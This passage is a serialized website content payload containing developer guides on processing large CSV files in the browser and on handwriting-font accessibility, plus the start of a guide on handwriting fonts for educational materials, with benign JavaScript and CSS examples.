rowHeight);\n",[1560,111078,111079,111081,111084,111086,111088,111090,111093,111095],{"class":1562,"line":343},[1560,111080,28057],{"class":1669},[1560,111082,111083],{"class":1576}," startIndex",[1560,111085,8186],{"class":1669},[1560,111087,9393],{"class":1570},[1560,111089,9406],{"class":1566},[1560,111091,111092],{"class":1570},"(scrollTop ",[1560,111094,9423],{"class":1669},[1560,111096,111076],{"class":1570},[1560,111098,111099,111101,111104,111106,111108,111110,111113,111115,111118,111120],{"class":1562,"line":365},[1560,111100,28057],{"class":1669},[1560,111102,111103],{"class":1576}," endIndex",[1560,111105,8186],{"class":1669},[1560,111107,9393],{"class":1570},[1560,111109,28995],{"class":1566},[1560,111111,111112],{"class":1570},"(startIndex ",[1560,111114,9448],{"class":1669},[1560,111116,111117],{"class":1570}," visibleCount, allRows.",[1560,111119,9418],{"class":1576},[1560,111121,1744],{"class":1570},[1560,111123,111124],{"class":1562,"line":889},[1560,111125,1702],{"emptyLinePlaceholder":363},[1560,111127,111128],{"class":1562,"line":1710},[1560,111129,111130],{"class":1649},"  \u002F\u002F Render only rows in the viewport\n",[1560,111132,111133,111135,111138,111140,111142,111145],{"class":1562,"line":1717},[1560,111134,28057],{"class":1669},[1560,111136,111137],{"class":1576}," fragment",[1560,111139,8186],{"class":1669},[1560,111141,11555],{"class":1570},[1560,111143,111144],{"class":1566},"createDocumentFragment",[1560,111146,90158],{"class":1570},[1560,111148,111149,111151,111153,111155,111157,111159,111162,111164,111167,111169],{"class":1562,"line":1747},[1560,111150,82192],{"class":1669},[1560,111152,5181],{"class":1570},[1560,111154,41680],{"class":1669},[1560,111156,7950],{"class":1570},[1560,111158,7297],{"class":1669},[1560,111160,111161],{"class":1570}," startIndex; i ",[1560,111163,6431],{"class":1669},[1560,111165,111166],{"class":1570}," endIndex; i",[1560,111168,101562],{"class":1669},[1560,111170,9345],{"class":1570},[1560,111172,111173,111175,111177,111179,111182],{"class":1562,"line":2507},[1560,111174,9385],{"class":1669},[1560,111176,110668],{"class":1576},[1560,111178,8186],{"class":1669},[1560,111180,111181],{"class":1566}," createRowElement",[1560,111183,111184],{"class":1570},"(allRows[i]);\n",[1560,111186,111187,111190,111192,111195,111197,111199,111202,111205],{"class":1562,"line":2524},[1560,111188,111189],{"class":1570},"    row.style.transform ",[1560,111191,7297],{"class":1669},[1560,111193,111194],{"class":5634}," `translateY(${",[1560,111196,7975],{"class":1570},[1560,111198,8064],{"class":1669},[1560,111200,111201],{"class":1570}," rowHeight",[1560,111203,111204],{"class":5634},"}px)`",[1560,111206,2228],{"class":1570},[1560,111208,111209,111212,111215],{"class":1562,"line":2529},[1560,111210,111211],{"class":1570},"    fragment.",[1560,111213,111214],{"class":1566},"appendChild",[1560,111216,110688],{"class":1570},[1560,111218,111219],{"class":1562,"line":2534},[1560,111220,4959],{"class":1570},[1560,111222,111223],{"class":1562,"line":2542},[1560,111224,1702],{"emptyLinePlaceholder":363},[1560,111226,111227,111230,111232,111234],{"class":1562,"line":2558},[1560,111228,111229],{"class":1570},"  container.innerHTML ",[1560,111231,7297],{"class":1669},[1560,111233,81655],{"class":5634},[1560,111235,2228],{"class":1570},[1560,111237,111238,111241,111243],{"class":1562,"line":2570},[1560,111239,111240],{"class":1570},"  container.",[1560,111242,111214],{"class":1566},[1560,111244,111245],{"class":1570},"(fragment);\n",[1560,111247,111248,111251,111253,111255,111257,111259,111261,111263,111265,111268],{"class":1562,"line":6638},[1560,111249,111250],{"class":1570},"  container.style.height ",[1560,111252,7297],{"class":1669},[1560,111254,34367],{"class":5634},[1560,111256,111042],{"class":1570},[1560,111258,468],{"class":5634},[1560,111260,9418],{"class":1576},[1560,111262,8064],{"class":1669},[1560,111264,111201],{"class":1570},[1560,111266,111267],{"class":5634},"}px`",[1560,111269,2228],{"class":1570},[1560,111271,111272],{"class":1562,"line":11615},[1560,111273,1585],{"class":1570},[16,111275,111276,111277,1531,111280,111283],{},"Libraries like ",[143,111278,111279],{},"tanstack\u002Fvirtual",[143,111281,111282],{},"react-virtualized"," handle this pattern for you.",[11,111285,111287],{"id":111286},"strategy-4-chunked-file-reading","Strategy 4: Chunked File Reading",[16,111289,111290,111291,111294,111295,111298],{},"For files over 50 MB, avoid ",[143,111292,111293],{},"FileReader.readAsText()"," — it loads the entire file into a string. Use ",[143,111296,111297],{},"File.slice()"," to read in controlled chunks:",[135,111300,111302],{"className":1607,"code":111301,"language":1609,"meta":141,"style":141},"async function readFileInChunks(file, chunkSize = 5 * 1024 * 1024) {\n  let offset = 0;\n  while (offset \u003C file.size) {\n    const chunk = file.slice(offset, offset + chunkSize);\n    const text = await chunk.text();\n    processChunk(text);\n    offset += chunkSize;\n  }\n}\n",[143,111303,111304,111337,111350,111362,111383,111400,111408,111418,111422],{"__ignoreMap":141},[1560,111305,111306,111308,111310,111313,111315,111317,111319,111322,111324,111326,111328,111331,111333,111335],{"class":1562,"line":1563},[1560,111307,82166],{"class":1669},[1560,111309,38314],{"class":1669},[1560,111311,111312],{"class":1566}," readFileInChunks",[1560,111314,1688],{"class":1570},[1560,111316,110447],{"class":2219},[1560,111318,1459],{"class":1570},[1560,111320,111321],{"class":2219},"chunkSize",[1560,111323,8186],{"class":1669},[1560,111325,28229],{"class":1576},[1560,111327,8064],{"class":1669},[1560,111329,111330],{"class":1576}," 1024",[1560,111332,8064],{"class":1669},[1560,111334,111330],{"class":1576},[1560,111336,9345],{"class":1570},[1560,111338,111339,111341,111344,111346,111348],{"class":1562,"line":337},[1560,111340,38049],{"class":1669},[1560,111342,111343],{"class":1570}," offset ",[1560,111345,7297],{"class":1669},[1560,111347,13541],{"class":1576},[1560,111349,2228],{"class":1570},[1560,111351,111352,111354,111357,111359],{"class":1562,"line":343},[1560,111353,38062],{"class":1669},[1560,111355,111356],{"class":1570}," (offset ",[1560,111358,6431],{"class":1669},[1560,111360,111361],{"class":1570}," file.size) {\n",[1560,111363,111364,111366,111369,111371,111373,111375,111378,111380],{"class":1562,"line":365},[1560,111365,9385],{"class":1669},[1560,111367,111368],{"class":1576}," chunk",[1560,111370,8186],{"class":1669},[1560,111372,110466],{"class":1570},[1560,111374,38951],{"class":1566},[1560,111376,111377],{"class":1570},"(offset, offset ",[1560,111379,9448],{"class":1669},[1560,111381,111382],{"class":1570}," chunkSize);\n",[1560,111384,111385,111387,111389,111391,111393,111396,111398],{"class":1562,"line":889},[1560,111386,9385],{"class":1669},[1560,111388,87414],{"class":1576},[1560,111390,8186],{"class":1669},[1560,111392,28065],{"class":1669},[1560,111394,111395],{"class":1570}," chunk.",[1560,111397,140],{"class":1566},[1560,111399,90158],{"class":1570},[1560,111401,111402,111405],{"class":1562,"line":1710},[1560,111403,111404],{"class":1566},"    processChunk",[1560,111406,111407],{"class":1570},"(text);\n",[1560,111409,111410,111413,111415],{"class":1562,"line":1717},[1560,111411,111412],{"class":1570},"    offset ",[1560,111414,28386],{"class":1669},[1560,111416,111417],{"class":1570}," chunkSize;\n",[1560,111419,111420],{"class":1562,"line":1747},[1560,111421,4959],{"class":1570},[1560,111423,111424],{"class":1562,"line":2507},[1560,111425,1585],{"class":1570},[16,111427,111428],{},"This lets you update a progress bar and gives the browser time to garbage-collect between chunks.",[11,111430,111432],{"id":111431},"combining-all-strategies","Combining All Strategies",[16,111434,111435],{},"A production-grade CSV viewer combines all three:",[77,111437,111438,111448,111454,111460],{},[44,111439,111440,111442,111443,1531,111445],{},[47,111441,25298],{}," the file in chunks using ",[143,111444,111297],{},[143,111446,111447],{},"file.stream()",[44,111449,111450,111453],{},[47,111451,111452],{},"Parse"," rows in a Web Worker to keep the UI responsive",[44,111455,111456,111459],{},[47,111457,111458],{},"Render"," rows using virtual scrolling to limit DOM nodes",[44,111461,111462,111465],{},[47,111463,111464],{},"Aggregate"," summary statistics incrementally instead of storing all rows",[135,111467,111469],{"className":1607,"code":111468,"language":1609,"meta":141,"style":141},"let stats = { total: 0, sumByColumn: {} };\n\nawait parseCSV(file, (row) => {\n  stats.total++;\n  Object.entries(row).forEach(([col, val]) => {\n    if (typeof val === 'number') {\n      stats.sumByColumn[col] = (stats.sumByColumn[col] || 0) + val;\n    }\n  });\n});\n",[143,111470,111471,111488,111492,111508,111517,111545,111563,111584,111588,111592],{"__ignoreMap":141},[1560,111472,111473,111475,111478,111480,111483,111485],{"class":1562,"line":1563},[1560,111474,41680],{"class":1669},[1560,111476,111477],{"class":1570}," stats ",[1560,111479,7297],{"class":1669},[1560,111481,111482],{"class":1570}," { total: ",[1560,111484,5285],{"class":1576},[1560,111486,111487],{"class":1570},", sumByColumn: {} };\n",[1560,111489,111490],{"class":1562,"line":337},[1560,111491,1702],{"emptyLinePlaceholder":363},[1560,111493,111494,111496,111498,111500,111502,111504,111506],{"class":1562,"line":343},[1560,111495,38273],{"class":1669},[1560,111497,110442],{"class":1566},[1560,111499,110947],{"class":1570},[1560,111501,58185],{"class":2219},[1560,111503,1733],{"class":1570},[1560,111505,11503],{"class":1669},[1560,111507,1571],{"class":1570},[1560,111509,111510,111513,111515],{"class":1562,"line":365},[1560,111511,111512],{"class":1570},"  stats.total",[1560,111514,101562],{"class":1669},[1560,111516,2228],{"class":1570},[1560,111518,111519,111522,111524,111527,111529,111531,111534,111536,111539,111541,111543],{"class":1562,"line":889},[1560,111520,111521],{"class":1570},"  Object.",[1560,111523,11498],{"class":1566},[1560,111525,111526],{"class":1570},"(row).",[1560,111528,11513],{"class":1566},[1560,111530,39095],{"class":1570},[1560,111532,111533],{"class":2219},"col",[1560,111535,1459],{"class":1570},[1560,111537,111538],{"class":2219},"val",[1560,111540,39106],{"class":1570},[1560,111542,11503],{"class":1669},[1560,111544,1571],{"class":1570},[1560,111546,111547,111549,111551,111554,111557,111559,111561],{"class":1562,"line":1710},[1560,111548,11527],{"class":1669},[1560,111550,5181],{"class":1570},[1560,111552,111553],{"class":1669},"typeof",[1560,111555,111556],{"class":1570}," val ",[1560,111558,23122],{"class":1669},[1560,111560,81679],{"class":5634},[1560,111562,9345],{"class":1570},[1560,111564,111565,111568,111570,111573,111575,111577,111579,111581],{"class":1562,"line":1717},[1560,111566,111567],{"class":1570},"      stats.sumByColumn[col] ",[1560,111569,7297],{"class":1669},[1560,111571,111572],{"class":1570}," (stats.sumByColumn[col] ",[1560,111574,82344],{"class":1669},[1560,111576,13541],{"class":1576},[1560,111578,1733],{"class":1570},[1560,111580,9448],{"class":1669},[1560,111582,111583],{"class":1570}," val;\n",[1560,111585,111586],{"class":1562,"line":1747},[1560,111587,11612],{"class":1570},[1560,111589,111590],{"class":1562,"line":2507},[1560,111591,11618],{"class":1570},[1560,111593,111594],{"class":1562,"line":2524},[1560,111595,11809],{"class":1570},[16,111597,111598],{},"This computes totals, averages, and counts without ever storing the full dataset.",[11,111600,111602],{"id":111601},"performance-benchmarks","Performance Benchmarks",[193,111604,111605,111621],{},[196,111606,111607],{},[199,111608,111609,111612,111615,111618],{},[202,111610,111611],{},"File Size",[202,111613,111614],{},"Naive (readAll)",[202,111616,111617],{},"Streaming + Worker",[202,111619,111620],{},"Virtual Scroll Rows",[211,111622,111623,111636,111649,111662],{},[199,111624,111625,111628,111631,111634],{},[216,111626,111627],{},"1 MB",[216,111629,111630],{},"~200ms",[216,111632,111633],{},"~180ms",[216,111635,12391],{},[199,111637,111638,111641,111644,111647],{},[216,111639,111640],{},"50 MB",[216,111642,111643],{},"3-5s, UI freezes",[216,111645,111646],{},"~800ms",[216,111648,12391],{},[199,111650,111651,111654,111657,111660],{},[216,111652,111653],{},"200 MB",[216,111655,111656],{},"Tab crash",[216,111658,111659],{},"~3s",[216,111661,12391],{},[199,111663,111664,111667,111669,111672],{},[216,111665,111666],{},"1 GB",[216,111668,111656],{},[216,111670,111671],{},"~15s",[216,111673,12391],{},[16,111675,111676],{},"The DOM node count stays constant at ~20 regardless of file size with virtual scrolling.",[11,111678,1355],{"id":1354},[41,111680,111681,111684,111690,111693,111696,111699],{},[44,111682,111683],{},"Large CSV files can crash the browser if loaded entirely into memory",[44,111685,111686,111687,111689],{},"Use streaming APIs (",[143,111688,111447],{},") to parse incrementally — constant memory usage",[44,111691,111692],{},"Move CPU-heavy parsing to Web Workers to keep the UI responsive",[44,111694,111695],{},"Virtual scrolling limits DOM nodes to the visible viewport regardless of dataset size",[44,111697,111698],{},"Compute aggregations incrementally rather than storing all rows in an array",[44,111700,111701],{},"Combine all strategies for production-grade CSV handling in the browser",[11,111703,286],{"id":285},[16,111705,111706,111707,111709],{},"Convert CSV files of any size to JSON using our ",[98,111708,81194],{"href":81193},". Paste or upload your data and get structured JSON output instantly.",[2043,111711,100852],{},{"title":141,"searchDepth":337,"depth":337,"links":111713},[111714,111715,111716,111717,111718,111719,111720,111721,111722],{"id":110410,"depth":337,"text":110411},{"id":110424,"depth":337,"text":110425},{"id":110732,"depth":337,"text":110733},{"id":111013,"depth":337,"text":111014},{"id":111286,"depth":337,"text":111287},{"id":111431,"depth":337,"text":111432},{"id":111601,"depth":337,"text":111602},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Techniques for processing large CSV files in the browser — streaming parsers, Web Workers, and chunked rendering to keep UI responsive.",{"immutable":363},"\u002Fguides\u002Fhandling-large-csv-files-browsers",{"title":110405,"description":111723},"guides\u002Fhandling-large-csv-files-browsers","9hfq28rrNqI3hnRQQ9UzCMzSC0d-aLuCI6H6wCVTNiQ",{"id":111730,"title":111731,"body":111732,"date":2070,"description":112234,"extension":361,"meta":112235,"navigation":363,"path":112236,"readingTime":1710,"seo":112237,"stem":112238,"__hash__":112239},"guides\u002Fguides\u002Fhandwriting-font-accessibility.md","Handwriting Fonts and Web Accessibility",{"type":8,"value":111733,"toc":112222},[111734,111737,111741,111744,111815,111818,111822,111825,111845,111849,111853,111856,111962,111966,111969,112049,112052,112056,112059,112103,112136,112182,112185,112189,112192,112194,112211,112213,112219],[16,111735,111736],{},"Handwriting fonts bring warmth and personality to web content, making educational materials feel approachable and invitations feel personal. But their informal, irregular letterforms can create barriers for users with visual impairments, dyslexia, or cognitive disabilities. Using handwriting fonts responsibly means balancing aesthetic goals with accessibility requirements.",[11,111738,111740],{"id":111739},"the-readability-challenge","The Readability Challenge",[16,111742,111743],{},"Handwriting fonts differ from standard typefaces in several ways that affect legibility:",[193,111745,111746,111758],{},[196,111747,111748],{},[199,111749,111750,111752,111755],{},[202,111751,14482],{},[202,111753,111754],{},"Standard Font",[202,111756,111757],{},"Handwriting Font",[211,111759,111760,111771,111782,111793,111804],{},[199,111761,111762,111765,111768],{},[216,111763,111764],{},"Stroke consistency",[216,111766,111767],{},"Uniform weight",[216,111769,111770],{},"Variable thickness",[199,111772,111773,111776,111779],{},[216,111774,111775],{},"Letter spacing",[216,111777,111778],{},"Optical metrics optimized",[216,111780,111781],{},"Often tight or irregular",[199,111783,111784,111787,111790],{},[216,111785,111786],{},"x-height ratio",[216,111788,111789],{},"Typically 0.5–0.6",[216,111791,111792],{},"Varies widely",[199,111794,111795,111798,111801],{},[216,111796,111797],{},"Character distinction",[216,111799,111800],{},"Clear b\u002Fd, p\u002Fq differentiation",[216,111802,111803],{},"May collapse similar forms",[199,111805,111806,111809,111812],{},[216,111807,111808],{},"Baseline alignment",[216,111810,111811],{},"Straight",[216,111813,111814],{},"Often wavy or slanted",[16,111816,111817],{},"Each of these deviations from typographic norms increases the cognitive effort required to decode text. For users with dyslexia — who already struggle with letter recognition — a handwriting font can make reading painfully slow or impossible.",[11,111819,111821],{"id":111820},"wcag-21-compliance-considerations","WCAG 2.1 Compliance Considerations",[16,111823,111824],{},"The Web Content Accessibility Guidelines do not explicitly ban handwriting fonts, but several success criteria are relevant:",[41,111826,111827,111833,111839],{},[44,111828,111829,111832],{},[47,111830,111831],{},"1.4.4 Resize Text (Level AA):"," Text must be resizable to 200% without loss of content or function. Handwriting fonts often break at large sizes — strokes overlap, counters fill in, and adjacent characters collide.",[44,111834,111835,111838],{},[47,111836,111837],{},"1.4.6 Contrast (Level AAA):"," The minimum contrast ratio is 4.5:1 for normal text. Handwriting fonts with thin strokes or varying line weight may fail contrast checks at their lightest points even if the average weight passes.",[44,111840,111841,111844],{},[47,111842,111843],{},"1.4.12 Text Spacing (Level AA):"," Users must be able to override line height, paragraph spacing, letter spacing, and word spacing. Handwriting fonts that rely on tight character connections (like cursive scripts) can become unreadable when letter-spacing is increased.",[11,111846,111848],{"id":111847},"practical-strategies","Practical Strategies",[33,111850,111852],{"id":111851},"use-handwriting-fonts-for-display-not-body-text","Use Handwriting Fonts for Display, Not Body Text",[16,111854,111855],{},"The simplest rule: reserve handwriting fonts for headlines, labels, decorative accents, or short pull quotes — never for paragraphs of body copy. A heading set in a handwriting font at 24px or larger preserves the personality without forcing users to decode long passages.",[135,111857,111859],{"className":1554,"code":111858,"language":1556,"meta":141,"style":141},".hero-heading {\n  font-family: 'Caveat', cursive;\n  font-size: 2.5rem;\n  line-height: 1.2;\n}\n\n.body-text {\n  font-family: 'Open Sans', sans-serif;\n  font-size: 1rem;\n  line-height: 1.6;\n}\n",[143,111860,111861,111868,111880,111893,111905,111909,111913,111920,111935,111947,111958],{"__ignoreMap":141},[1560,111862,111863,111866],{"class":1562,"line":1563},[1560,111864,111865],{"class":1566},".hero-heading",[1560,111867,1571],{"class":1570},[1560,111869,111870,111872,111874,111877],{"class":1562,"line":337},[1560,111871,96719],{"class":1576},[1560,111873,1663],{"class":1570},[1560,111875,111876],{"class":5634},"'Caveat'",[1560,111878,111879],{"class":1570},", cursive;\n",[1560,111881,111882,111884,111886,111889,111891],{"class":1562,"line":343},[1560,111883,33414],{"class":1576},[1560,111885,1663],{"class":1570},[1560,111887,111888],{"class":1576},"2.5",[1560,111890,32215],{"class":1669},[1560,111892,2228],{"class":1570},[1560,111894,111895,111898,111900,111903],{"class":1562,"line":365},[1560,111896,111897],{"class":1576},"  line-height",[1560,111899,1663],{"class":1570},[1560,111901,111902],{"class":1576},"1.2",[1560,111904,2228],{"class":1570},[1560,111906,111907],{"class":1562,"line":889},[1560,111908,1585],{"class":1570},[1560,111910,111911],{"class":1562,"line":1710},[1560,111912,1702],{"emptyLinePlaceholder":363},[1560,111914,111915,111918],{"class":1562,"line":1717},[1560,111916,111917],{"class":1566},".body-text",[1560,111919,1571],{"class":1570},[1560,111921,111922,111924,111926,111929,111931,111933],{"class":1562,"line":1747},[1560,111923,96719],{"class":1576},[1560,111925,1663],{"class":1570},[1560,111927,111928],{"class":5634},"'Open Sans'",[1560,111930,1459],{"class":1570},[1560,111932,41103],{"class":1576},[1560,111934,2228],{"class":1570},[1560,111936,111937,111939,111941,111943,111945],{"class":1562,"line":2507},[1560,111938,33414],{"class":1576},[1560,111940,1663],{"class":1570},[1560,111942,3585],{"class":1576},[1560,111944,32215],{"class":1669},[1560,111946,2228],{"class":1570},[1560,111948,111949,111951,111953,111956],{"class":1562,"line":2524},[1560,111950,111897],{"class":1576},[1560,111952,1663],{"class":1570},[1560,111954,111955],{"class":1576},"1.6",[1560,111957,2228],{"class":1570},[1560,111959,111960],{"class":1562,"line":2529},[1560,111961,1585],{"class":1570},[33,111963,111965],{"id":111964},"choose-legibility-over-realism","Choose Legibility Over Realism",[16,111967,111968],{},"Not all handwriting fonts are equal. Some maintain clear letterforms while evoking a hand-drawn feel:",[193,111970,111971,111984],{},[196,111972,111973],{},[199,111974,111975,111977,111979,111982],{},[202,111976,9082],{},[202,111978,9085],{},[202,111980,111981],{},"Legibility",[202,111983,489],{},[211,111985,111986,111997,112010,112023,112036],{},[199,111987,111988,111990,111992,111994],{},[216,111989,10172],{},[216,111991,94514],{},[216,111993,15446],{},[216,111995,111996],{},"Headings, labels",[199,111998,111999,112002,112005,112007],{},[216,112000,112001],{},"Patrick Hand",[216,112003,112004],{},"Neat print",[216,112006,15446],{},[216,112008,112009],{},"UI accents, cards",[199,112011,112012,112015,112018,112020],{},[216,112013,112014],{},"Indie Flower",[216,112016,112017],{},"Playful print",[216,112019,7639],{},[216,112021,112022],{},"Decorative short text",[199,112024,112025,112028,112031,112033],{},[216,112026,112027],{},"Dancing Script",[216,112029,112030],{},"Connected cursive",[216,112032,15466],{},[216,112034,112035],{},"Large display only",[199,112037,112038,112041,112044,112046],{},[216,112039,112040],{},"Sacramento",[216,112042,112043],{},"Thin cursive",[216,112045,15466],{},[216,112047,112048],{},"Minimal decorative use",[16,112050,112051],{},"When evaluating a handwriting font, test it at your target size with real content. If you cannot read a full sentence without slowing down, the font is too informal for that size.",[33,112053,112055],{"id":112054},"provide-a-readable-alternative","Provide a Readable Alternative",[16,112057,112058],{},"For educational content where handwriting text carries meaning — such as a phonics worksheet or a letter-tracing exercise — always provide a version in a standard font. You can offer a toggle:",[135,112060,112062],{"className":6417,"code":112061,"language":6419,"meta":141,"style":141},"\u003Cbutton onclick=\"toggleFont()\" aria-label=\"Switch to standard font\">\n  Standard Font\n\u003C\u002Fbutton>\n",[143,112063,112064,112090,112095],{"__ignoreMap":141},[1560,112065,112066,112068,112070,112072,112074,112076,112079,112081,112083,112085,112088],{"class":1562,"line":1563},[1560,112067,6431],{"class":1570},[1560,112069,12250],{"class":2484},[1560,112071,102334],{"class":1566},[1560,112073,7297],{"class":1570},[1560,112075,8721],{"class":5634},[1560,112077,112078],{"class":1566},"toggleFont",[1560,112080,102344],{"class":5634},[1560,112082,96001],{"class":1566},[1560,112084,7297],{"class":1570},[1560,112086,112087],{"class":5634},"\"Switch to standard font\"",[1560,112089,6441],{"class":1570},[1560,112091,112092],{"class":1562,"line":337},[1560,112093,112094],{"class":1570},"  Standard Font\n",[1560,112096,112097,112099,112101],{"class":1562,"line":343},[1560,112098,11242],{"class":1570},[1560,112100,12250],{"class":2484},[1560,112102,6441],{"class":1570},[135,112104,112106],{"className":1607,"code":112105,"language":1609,"meta":141,"style":141},"function toggleFont() {\n  document.body.classList.toggle('accessible-font');\n}\n",[143,112107,112108,112117,112132],{"__ignoreMap":141},[1560,112109,112110,112112,112115],{"class":1562,"line":1563},[1560,112111,8648],{"class":1669},[1560,112113,112114],{"class":1566}," toggleFont",[1560,112116,8654],{"class":1570},[1560,112118,112119,112122,112125,112127,112130],{"class":1562,"line":337},[1560,112120,112121],{"class":1570},"  document.body.classList.",[1560,112123,112124],{"class":1566},"toggle",[1560,112126,1688],{"class":1570},[1560,112128,112129],{"class":5634},"'accessible-font'",[1560,112131,1744],{"class":1570},[1560,112133,112134],{"class":1562,"line":343},[1560,112135,1585],{"class":1570},[135,112137,112139],{"className":1554,"code":112138,"language":1556,"meta":141,"style":141},".accessible-font .handwritten {\n  font-family: 'Open Sans', sans-serif;\n  letter-spacing: 0.02em;\n}\n",[143,112140,112141,112151,112165,112178],{"__ignoreMap":141},[1560,112142,112143,112146,112149],{"class":1562,"line":1563},[1560,112144,112145],{"class":1566},".accessible-font",[1560,112147,112148],{"class":1566}," .handwritten",[1560,112150,1571],{"class":1570},[1560,112152,112153,112155,112157,112159,112161,112163],{"class":1562,"line":337},[1560,112154,96719],{"class":1576},[1560,112156,1663],{"class":1570},[1560,112158,111928],{"class":5634},[1560,112160,1459],{"class":1570},[1560,112162,41103],{"class":1576},[1560,112164,2228],{"class":1570},[1560,112166,112167,112169,112171,112174,112176],{"class":1562,"line":343},[1560,112168,94022],{"class":1576},[1560,112170,1663],{"class":1570},[1560,112172,112173],{"class":1576},"0.02",[1560,112175,7310],{"class":1669},[1560,112177,2228],{"class":1570},[1560,112179,112180],{"class":1562,"line":365},[1560,112181,1585],{"class":1570},[16,112183,112184],{},"This respects both the design intent and the user's needs.",[33,112186,112188],{"id":112187},"test-with-real-users-and-tools","Test with Real Users and Tools",[16,112190,112191],{},"Run your page through an accessibility checker like axe or WAVE. Manually test at 200% zoom and with increased letter-spacing. Check contrast at the thinnest stroke points using a tool like the WebAIM contrast checker. If possible, test with users who have dyslexia or low vision — their feedback will reveal issues that automated tools miss.",[11,112193,1355],{"id":1354},[41,112195,112196,112199,112202,112205,112208],{},[44,112197,112198],{},"Handwriting fonts reduce readability due to inconsistent strokes, irregular spacing, and ambiguous letterforms.",[44,112200,112201],{},"Reserve handwriting fonts for large display text — never for body copy or long passages.",[44,112203,112204],{},"Choose handwriting fonts that prioritize legibility over realism; test them at your actual target sizes.",[44,112206,112207],{},"Provide a standard-font alternative for educational content where comprehension matters more than aesthetics.",[44,112209,112210],{},"Verify compliance with WCAG 2.1 criteria for text resizing, contrast, and spacing overrides.",[11,112212,286],{"id":285},[16,112214,112215,112216,112218],{},"See how your text looks in handwriting style while keeping accessibility in mind. Use the ",[98,112217,40461],{"href":40899}," tool to preview your content in various handwriting fonts and paper styles, then decide where a standard font would serve your readers better.",[2043,112220,112221],{},"html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .s9eBZ, html code.shiki .s9eBZ{--shiki-default:#22863A;--shiki-dark:#85E89D}",{"title":141,"searchDepth":337,"depth":337,"links":112223},[112224,112225,112226,112232,112233],{"id":111739,"depth":337,"text":111740},{"id":111820,"depth":337,"text":111821},{"id":111847,"depth":337,"text":111848,"children":112227},[112228,112229,112230,112231],{"id":111851,"depth":343,"text":111852},{"id":111964,"depth":343,"text":111965},{"id":112054,"depth":343,"text":112055},{"id":112187,"depth":343,"text":112188},{"id":1354,"depth":337,"text":1355},{"id":285,"depth":337,"text":286},"Balance realism and readability when using handwriting fonts in educational content.",{"immutable":363},"\u002Fguides\u002Fhandwriting-font-accessibility",{"title":111731,"description":112234},"guides\u002Fhandwriting-font-accessibility","iZkPxvBm-Q70VopdQqYRAHWIjhr964Sw69JbCM0X4Zo",{"id":112241,"title":112242,"body":112243,"date":2070,"description":112581,"extension":361,"meta":112582,"navigation":363,"path":112585,"readingTime":1710,"seo":112586,"stem":112587,"__hash__":112588},"guides\u002Fguides\u002Fhandwriting-fonts-educational-materials.md","Handwriting Fonts for Educational Materials: Engaging Young Learners",{"type":8,"value":112244,"toc":112560},[112245,112249,112252,112255,112258,112262,112266,112269,112274,112280,112284,112287,112292,112297,112301,112304,112309,112313,112316,112321,112325,112396,112400,112404,112407,112411,112414,112418,112421,112425,112428,112432,112498,112501,112505,112511,112517,112519,112536,112538,112544,112546],[11,112246,112248],{"id":112247},"why-font-choice-matters-in-education","Why Font Choice Matters in Education",[16,112250,112251],{},"Young students spend hours reading worksheets, textbooks, and flashcards. The font on those materials directly affects how easily they process information. A formal serif font like Times New Roman works for academic papers, but it feels distant and institutional in a first-grade worksheet.",[16,112253,112254],{},"Handwriting-style fonts bridge the gap. They mimic the letterforms children are learning to write, reinforce proper stroke order visually, and make materials feel approachable rather than intimidating.",[16,112256,112257],{},"Research in educational psychology shows that familiar letterforms reduce cognitive load. When children see letters that match what they practice writing, they spend less mental energy on decoding and more on understanding content.",[11,112259,112261],{"id":112260},"categories-of-educational-handwriting-fonts","Categories of Educational Handwriting Fonts",[33,112263,112265],{"id":112264},"manuscript-print-fonts","Manuscript (Print) Fonts",[16,112267,112268],{},"Manuscript fonts mirror the ball-and-stick letterforms taught in most early elementary curricula. Letters are upright, with consistent stroke widths and no joins between characters.",[16,112270,112271,112273],{},[47,112272,84807],{}," Kindergarten through second grade, letter recognition practice, name tracing sheets.",[16,112275,112276,112279],{},[47,112277,112278],{},"Examples:"," Zaner-Bloser Manuscript, D'Nealian Manuscript, SchoolScript.",[33,112281,112283],{"id":112282},"cursive-fonts","Cursive Fonts",[16,112285,112286],{},"Cursive fonts replicate joined handwriting styles. They show students how letters connect in flowing strokes.",[16,112288,112289,112291],{},[47,112290,84807],{}," Third grade and up, cursive writing practice, signature styles.",[16,112293,112294,112296],{},[47,112295,112278],{}," Zaner-Bloser Cursive, D'Nealian Cursive, Learning Curve.",[33,112298,112300],{"id":112299},"dashed-and-tracing-fonts","Dashed and Tracing Fonts",[16,112302,112303],{},"These fonts render letters with outlines or dotted lines, designed specifically for tracing worksheets. Students write over the faded letterforms to build muscle memory.",[16,112305,112306,112308],{},[47,112307,84807],{}," Handwriting practice sheets, letter tracing activities, occupational therapy exercises.",[33,112310,112312],{"id":112311},"decorative-script-fonts","Decorative Script Fonts",[16,112314,112315],{},"Highly stylized handwriting fonts serve aesthetic purposes — classroom posters, bulletin boards, certificates. They prioritize visual appeal over stroke accuracy.",[16,112317,112318,112320],{},[47,112319,84807],{}," Headers, awards, classroom decorations. Not suitable for body text or early writing instruction.",[11,112322,112324],{"id":112323},"choosing-the-right-font-by-grade-level","Choosing the Right Font by Grade 